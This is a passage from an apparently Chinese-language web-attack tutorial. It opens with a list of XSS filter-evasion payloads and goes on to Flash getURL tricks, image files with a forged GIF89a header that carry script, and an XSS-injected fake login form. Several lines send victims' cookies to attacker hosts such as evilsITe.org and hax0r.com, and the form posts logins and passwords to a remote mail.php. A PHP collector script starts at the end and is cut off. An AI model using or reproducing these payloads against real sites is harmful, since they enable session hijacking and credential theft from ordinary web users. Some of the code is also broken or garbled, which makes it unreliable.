| ipt:alert('XSS');\">
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<? echo('<scr)'; echo('ipt>alert(\"XSS\"</script>'); ?>
<IMG SRC=\"jav
ascript:alert('XSS');\">
<IMG SRC=\"jav	ascript:alert('XSS');\">
<marquee><script>alert('XSS')</script></marquee>
<style>@im\port'\ja\vasc\ript:alert(\"XSS\"';</style>
<img src=foo.png onerror=alert(/xssed/) />
<script>alert(String.fromCharCode(88,83,83))</script>
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>location.href="http://www.evilsITe.org/cookiegrabber.php?cookie="+ escape(document.cookie)</script>
<script src="http://www.evilsITe.org/cookiegrabber.php"></script>
<script>alert('XSS');</script>
<script>alert(1);</script>
Flash是用来做复杂的动画,模拟的,创造游戏等。
getURL()这个函数是有趣的,可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。
它的语法是这样的: getURL(url:String, [window: String,[method:String]])
如: getURL("http://lovelaozang.cn/login.php?logout=true","_self";
url: 网站的地址 window: 指定框架要求(_self, _blank…)
method: 请求方法 GET or POST (by defect GET)
这里的处理动作和JavaScript以发布警报: getURL("javascript:alert('XSS'";
在2002年表现出这种形式的危险 这种方式是一种可以发送用户的cookie的; getURL("javascript:alert(document.cookie)"
在2005年12月,开辟新的途径,并出现构成已受益于两年前XSS和可能性,把一个文件Flash放在签名中,以提供一个永久性跨站脚本
攻击此外,作者的这种另类使用的技术,以便传给公司,以背离蠕虫着XSS的德萨米:Samy 重装上阵
用flash窃取cookie? 不是,但有技术的做: 如: 在一个FLASH文件: GetURL("http://www.victime.com/page.php?var=<script src='http://www.lvoelaozang.cn/hack.js'></script>","_self";
在这个hack.js文件里面有如下代码: document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;
这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用.
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码 GIF89a<script>alert("XSS"</script>
保存退出. 上传hack.gif到相就的地方...此时跨站发生 不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.
为什么添加GIF89a ? 因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件. GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>
我们需要知道一些其它格式图片,头部所包含的代码.
PNG = ‰PNG GIF = GIF89a JPG = ÿØÿà JFIF BMP = BMFÖ
为了安全不要仅仅只检查getimagesize()
你是否明白什么是钓鱼?什么是XSS?
在这个例子里,有必需找到一个易受攻击的网站去XSS并注入那里,身于一种形式,以自己直接在网址以下代码 <p>Enter your login and password, thank:</p> <form action="http://hax0r.com/mail.php"> <table><tr><td>Login:</td><td><input type=text length=20 name=login> </td></tr><tr><td>assword:</td><td> <input type=text length=20 name=password> </td></tr></table><input type=submIT value= OK > </form>
这个通过这个模仿的表单,然后利用mail.php通过电子邮件把表单里的数据发送给你。 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TransITional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1- transITional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>Error</tITle> <style type="text/css"> <!-- body,td,th { color: #FFFFFF; } body { background-color: #000000; } --> </style></head> <?php $login = $HTTP_GET_VARS["login"]; $password = $HTTP_G 上一页 [1] [2] [3] [4] 下一页
|